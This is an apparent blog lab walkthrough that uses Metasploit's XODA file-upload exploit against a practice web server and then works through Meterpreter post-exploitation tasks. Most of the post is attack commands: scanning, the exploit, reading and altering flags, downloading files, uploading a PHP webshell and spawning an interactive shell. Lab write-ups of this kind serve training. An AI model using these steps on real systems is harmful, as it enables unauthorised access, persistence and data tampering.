boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Lab

The target runs a vulnerable web server. Exploit it to get a Meterpreter session, then work through the post-exploitation tasks below.

Tasks

  1. Check the present working directory on the remote (exploited) machine.
  2. List the files in the present working directory of the remote machine.
  3. Check the present working directory on the local (attacker) machine.
  4. List the files in the present working directory of the local machine.
  5. Get the flag value in /app/flag1.
  6. Change the flag value in /app/flag1 so that no one else can get the right flag.
  7. Change to a suspiciously named directory in /app and read the flag from a hidden file there.
  8. Get flag5.zip to the local machine and open it with password 56784. The extracted file hints at the location of another flag.
  9. Delete the .zip file from the directory.
  10. Print the checksum of the file mentioned in the extracted file (see task 8).
  11. Check the PATH environment variable on the remote machine.
  12. There is a file with the string "ckdo" in its name in one of the PATH directories. Print the flag hidden in it.
  13. Change to the tools directory on the local machine.
  14. Upload a PHP webshell to the app directory of the remote machine.

Start PostgreSQL and msfconsole

service postgresql start && msfconsole

Create a Workspace

workspace -a post_exploit

Set Global Variables

setg sets an option for every module, so the target only has to be entered once.

setg RHOSTS 192.215.52.3
setg RHOST 192.215.52.3

Scan with db_nmap

db_nmap -sC -sV 192.215.52.3

Curl the HTTP Homepage

curl http://192.215.52.3

Exploit XODA with Metasploit

use exploit/unix/webapp/xoda_file_upload
set TARGETURI /
exploit

Post-Exploitation in the Meterpreter Session

Check who and where we are, then name the session so it is easy to spot:

sysinfo
getuid
sessions -n xoda -i 1

List files, print the working directory, and move up one level:

ls
pwd
cd ..

Read the first flag:

cat flag1

edit flag1 opens the file in vim so its value can be changed. Then drop into the suspiciously named directory and read the hidden second flag:

edit flag1
cd "Secret Files"
cat .flag2

Pull flag5.zip down to the attack box:

download flag5.zip

Press CTRL+Z to background the session, then unzip the file and read the extracted list:

unzip flag5.zip
cat list

Upload the webshell, then check the MD5 hash of a file:

upload shell.php
checksum md5 /bin/bash

Read the PATH environment variable:

getenv PATH

Search the remote filesystem for files by directory and by name:

search -d /usr/bin -f *backdoor*
search -f *.jpg

Drop to a system shell, stabilize it, and look at the process list:

shell
/bin/bash -i
export TERM=xterm-256color
ps

Finally, make and remove a test directory:

mkdir test
rmdir test